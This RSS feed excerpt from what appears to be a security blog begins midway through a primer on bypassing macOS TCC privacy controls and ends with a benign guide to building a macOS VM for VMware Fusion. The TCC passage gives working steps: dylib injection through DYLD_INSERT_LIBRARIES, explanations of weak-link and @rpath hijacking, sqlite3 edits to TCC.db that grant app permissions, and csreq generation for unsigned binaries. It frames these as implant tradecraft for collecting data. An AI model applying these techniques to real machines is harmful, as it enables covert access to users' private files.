</span></span></code></pre></div><p>To execute <code>WeakDylibApp</code> with TCC reading its permissions, we can&rsquo;t launch it from iTerm, which is what we&rsquo;ve been doing all throughout. Instead, we can launch it via the <code>open</code> command.</p>
<p>The <code>open</code> command basically invokes <code>Finder</code> to launch applications or open files on the system. It also has the handy ability to pass environment variables to the launched application.</p>
<p>Therefore we can just pass in our DYLD variable into it using:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>open --env DYLD_INSERT_LIBRARIES<span style="color:#f92672">=</span>libDylibTest.dylib WeakDylibApp.app
</span></span></code></pre></div><p>This will launch the application, loading our dylib and cause TCC to use the application&rsquo;s permissions against what our dylib is requesting! If our dylib attempts to access assets which the application already has permissions to, TCC will just let it through without prompting.</p>
<p>The screenshot below is what the user will see when the application is loaded. The prompt appears because the application did not already have rights to access the Documents folder.</p>
<p><img loading="lazy" src="/posts/macos_tcc/weakdylib-injection.png" type="" alt=""  /></p>
<p>If this is a legitimate application that the user installed, the user would most likely grant this right, allowing our dylib to do whatever it needs to do in that folder!</p>
<h4 id="dylib-hijacking">Dylib hijacking</h4>
<p>Dylib hijacking is similar to DLL hijacking on Windows. On MacOS there are a few possible ways to hijack. One way is looking for weakly linked dylibs, if the library is missing, it could be possible to write a dylib and place it in the missing library&rsquo;s path. Another way is looking at dylibs that have relative path loading. If the relative path is writable, we could place a dylib there which would be loaded in place of the legitimate library.</p>
<p>Thanks to Apple&rsquo;s entitlements, these would only be viable if the application has the <code>disable-library-validation</code> entitlement set to true. This would allow an attacker to load a dylib that is signed differently (or not signed!).</p>
<h5 id="weakly-linked-dylibs">Weakly linked dylibs</h5>
<p>As for what a weak dylib means, the <a href="https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPFrameworks/Concepts/WeakLinking.html">developer document</a> describes it.</p>
<p>A weak dylib allows an application to link against a new feature in a dylib but still be able to compile and execute if the application is run against an older version that does not include the new feature.</p>
<p>In order to set it up in Xcode, you have to set it as an optional library in Build Phases for the specific target, like the screenshot below.</p>
<p><img loading="lazy" src="/posts/macos_tcc/xcode-weak-dylib.png" type="" alt=""  /></p>
<p>After compilation, running <code>otool -l</code> will show that example.dylib is set as LC_LOAD_WEAK_DYLIB.</p>
<p><img loading="lazy" src="/posts/macos_tcc/xcode-weak-dylib2.png" type="" alt=""  /></p>
<p>Why is weak linking useful for hijacking? This is similar to DLL hijacking in Windows. Since it is weakly linked, it&rsquo;s possible that the system (or even the application) is shipped without this library. An attacker could write to a dylib to that path with the same name and get the vulnerable application to load it.</p>
<h5 id="rpath">@rpath</h5>
<p><code>@rpath</code> stands for Runpath Search Path. A cool writeup for a simple dylib hijacking scenario can be found <a href="https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries">here</a>.</p>
<p>If a dylib is set with an <code>@rpath</code>, the loader will look into the paths defined in <code>LC_RPATH</code> when trying to find the dylib files.</p>
<p>The following stuff follows the article linked above, since I also had Burp installed.</p>
<p><img loading="lazy" src="/posts/macos_tcc/otool-hijackable1.png" type="" alt=""  /></p>
<p><img loading="lazy" src="/posts/macos_tcc/otool-hijackable2.png" type="" alt=""  /></p>
<p><code>@loader_path</code> is defined as the directory containing the binary</p>
<p>As the article mentioned, this means that the loader would look at the two paths listed in the second picture:</p>
<pre tabindex="0"><code>@loader_path/.
@loader_path/../lib
</code></pre><p>During runtime, these paths would resolve to:</p>
<pre tabindex="0"><code>&lt;snip&gt;/jre.bundle/Contents/Home/bin/libjli.dylib
&lt;snip&gt;/jre.bundle/Contents/Home/lib/libjli.dylib
</code></pre><p>Since the library isn&rsquo;t present in the <code>bin</code> folder, and the <code>java</code> binary has <code>disable-library-validation</code> entitlement set to true, this meant that <code>java</code> is hijackable. However, in order to prevent the binary from crashing when executed, the dylib needs to be linked as <code>reexport_library</code> in compile flags.</p>
<h2 id="modify-the-database-requires-fda">Modify the database (requires FDA)</h2>
<p>If you&rsquo;re lucky enough to have Full Disk Access (FDA), you can modify the user database at <code>~/Library/Application Support/com.apple.TCC/TCC.db</code>.</p>
<p>But of course, if you have FDA already then most bets are already off. However, since I already did some work in poking around the database, might as well write it down!</p>
<h3 id="poc-modifying-signed-application-rights">PoC: Modifying signed application rights</h3>
<p>Let&rsquo;s start with modifying policies.</p>
<p><img loading="lazy" src="/posts/macos_tcc/tcc-policy-intellij1.png" type="" alt=""  /></p>
<p>In my setup, I happened to have IntelliJ having Documents and Downloads permissions. Modifying the policy from Downloads to Desktop is a simple SQL statement.</p>
<p><img loading="lazy" src="/posts/macos_tcc/tcc-policy-intellij2.png" type="" alt=""  /></p>
<p>The database doesn&rsquo;t seem to have a primary key so I set the <code>where</code> clauses to be gated by the <code>last_modified</code> time.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sqlite3 ~/Library/Application<span style="color:#ae81ff">\ </span>Support/com.apple.TCC/TCC.db
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>update access set service <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;kTCCServiceSystemPolicyDesktopFolder&#34;</span> where client <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;com.jetbrains.intellij.ce&#34;</span> and last_modified <span style="color:#f92672">=</span> 1689047957;
</span></span></code></pre></div><p>We reopen the Privacy panel in System Preferences and see that it is updated with our new values. Testing file open access in IntelliJ also shows that the new permissions are accepted.</p>
<p><img loading="lazy" src="/posts/macos_tcc/tcc-policy-intellij4.png" type="" alt=""  /></p>
<h3 id="poc-adding-signed-application-rights">PoC: Adding signed application rights</h3>
<p>Since we can modify application rights, adding more should be quite trivial. Let&rsquo;s test!</p>
<p><img loading="lazy" src="/posts/macos_tcc/tcc-policy-intellij5.png" type="" alt=""  /></p>
<p>Quick check on the Privacy panel.</p>
<p><img loading="lazy" src="/posts/macos_tcc/tcc-policy-intellij6.png" type="" alt=""  /></p>
<p>This means we can add rights to an application.</p>
<h3 id="putting-it-together-for-an-unsigned-application">Putting it together for an unsigned application</h3>
<p>Thanks to the discussion in this <a href="https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line">Stackoverflow article</a>, and also from the guy&rsquo;s <a href="https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive">blog post</a>, I had an idea on how to generate csreq blobs for unsigned binaries.</p>
<p>TCC can totally support giving permissions to unsigned binaries and even Golang binaries, which don&rsquo;t have a bundle id. This is recorded in the database as the path of the binary instead of the bundle id.</p>
<p>To generate the csreq field for an unsigned binary, we can follow the discussion above. Here are the commands you can run for that.</p>
<h4 id="convert-to-fade">Convert to FADE</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>REQ_STR<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>codesign -d -r- binfile 2&gt;&amp;<span style="color:#ae81ff">1</span> | awk -F <span style="color:#e6db74">&#39; =&gt; &#39;</span> <span style="color:#e6db74">&#39;/designated/{print $2}&#39;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;</span>$REQ_STR<span style="color:#e6db74">&#34;</span> | csreq -r- -b /tmp/csreq.bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Convert the binary form to hex, and print it nicely for use in sqlite</span>
</span></span><span style="display:flex;"><span>REQ_HEX<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>xxd -p /tmp/csreq.bin  | tr -d <span style="color:#e6db74">&#39;\n&#39;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;X&#39;</span>$REQ_HEX<span style="color:#e6db74">&#39;&#34;</span>
</span></span></code></pre></div><h4 id="convert-from-fade">Convert from FADE</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>BLOB<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&lt;fade hex data&gt;&#34;</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;</span>$BLOB<span style="color:#e6db74">&#34;</span> | xxd -r -p &gt; /tmp/csreq.bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Ask csreq to tell us what it means</span>
</span></span><span style="display:flex;"><span>csreq -r- -t &lt; /tmp/csreq.bin
</span></span></code></pre></div><h1 id="conclusion">Conclusion</h1>
<p>This article is really a basic primer towards TCC. There&rsquo;s more interesting research in a previous <a href="https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Regula-20-Plus-Ways-to-Bypass-Your-macOS-Privacy-Mechanisms.pdf">BlackHat 2021 presentation</a> that was a really good read.</p>
<p>For the basic stuff, by looking for vulnerable applications, we can easily hijack them from an implant and then request for TCC permissions, or better yet, use the permissions that those applications have to collect data for ourselves. The holy grail really is FDA, but Apple has made it harder; it&rsquo;s not possible to request for FDA permissions directly anymore. Instead, the user will need to be instructed to go to the Privacy pane and manually add it himself. Time to up the social engineering game!</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>How to create a MacOS virtual machine for VMWare</title>
      <link>https://www.angelystor.com/posts/create_macos_vm/</link>
      <pubDate>Sat, 20 May 2023 15:59:20 +0800</pubDate>
      
      <guid>https://www.angelystor.com/posts/create_macos_vm/</guid>
      <description>Create MacOS virtual machine for VMWare, only works on Intel Macs</description>
      <content:encoded><![CDATA[<h1 id="introduction">Introduction</h1>
<p>Recently I had to create a MacOS virtual machine for testing purposes. Previously you could use an inbuilt feature in VMWare Fusion to create a bootable virtual machine via this:</p>
<p><img loading="lazy" src="/posts/create_macos_vm/vmware1.png" type="" alt=""  /></p>
<p>However, the changes in Ventura made this option impossible. When I tried it out, it just kept churning and nothing happened. Sadness.</p>
<p>Luckily all was not lost, you can still create a MacOS VM via downloading the installer, and you can also customise the version of the OS before downloading it. Sadly though, this isn&rsquo;t possible for M1/M2 Macs, only for Intel.</p>
<h1 id="magic-incantations">Magic incantations</h1>
<h2 id="download-installer">Download installer</h2>
<p>Download the installer using this command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>softwareupdate --fetch-full-installer --full-installer-version 13.3
</span></span></code></pre></div><p>The version number can be changed to download the version of MacOS desired.</p>
<h2 id="create-and-attach-dmg">Create and attach DMG</h2>
<p>After the installer has been downloaded, we need to convert it into an image.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hdiutil create -o /tmp/macOS -size 15945m -volname macOS -layout SPUD -fs HFS+J
</span></span><span style="display:flex;"><span>hdiutil attach /tmp/macOS.dmg -noverify -mountpoint /Volumes/macOS
</span></span></code></pre></div><p>These commands create a DMG file in /tmp and mount it. The size is 15945 MB which should be sufficient for Ventura.</p>
<h2 id="copy-installer-to-dmg">Copy installer to DMG</h2>
<p>Now that the DMG has been created and mounted, we can run the installer to get it to create installation media on the DMG.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo /Applications/Install<span style="color:#ae81ff">\ </span>macOS<span style="color:#ae81ff">\ </span>Ventura.app/Contents/Resources/createinstallmedia --volume /Volumes/macOS --nointeraction
</span></span></code></pre></div><p>Change the installer name as required.</p>
<h2 id="convert-to-iso">Convert to ISO</h2>
<p>For the last step, we&rsquo;ll need to convert it to ISO format in order to get VMWare Fusion to install.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>hdiutil detach -force <span style="color:#e6db74">&#34;/Volumes/Install macOS Ventura&#34;</span>
</span></span><span style="display:flex;"><span>hdiutil convert /tmp/macOS.dmg -format UDTO -o ~/Desktop/macos
</span></span><span style="display:flex;"><span>mv ~/Desktop/macos.cdr ~/Desktop/macos.iso
</span></span></code></pre></div><p>After these commands we can safely eject the previously created DMG and delete it to free up some space.</p>
<h2 id="create-vm-in-fusion">Create VM in Fusion</h2>
<p>We can now create the VM in fusion by dragging the ISO into the &ldquo;Install from disc or image&rdquo; area.</p>
<p>After waiting for a long time to churn, we manage to boot into our fresh VM.</p>
<p><img loading="lazy" src="/posts/create_macos_vm/macos.png" type="" alt=""  /></p>
<p>Graphics acceleration is non existent unfortunately, so performance is pretty slow. But at least you get a VM to do whatever testing you need on!</p>
]]></content:encoded>
    </item>
    
  </channel>
</rss>
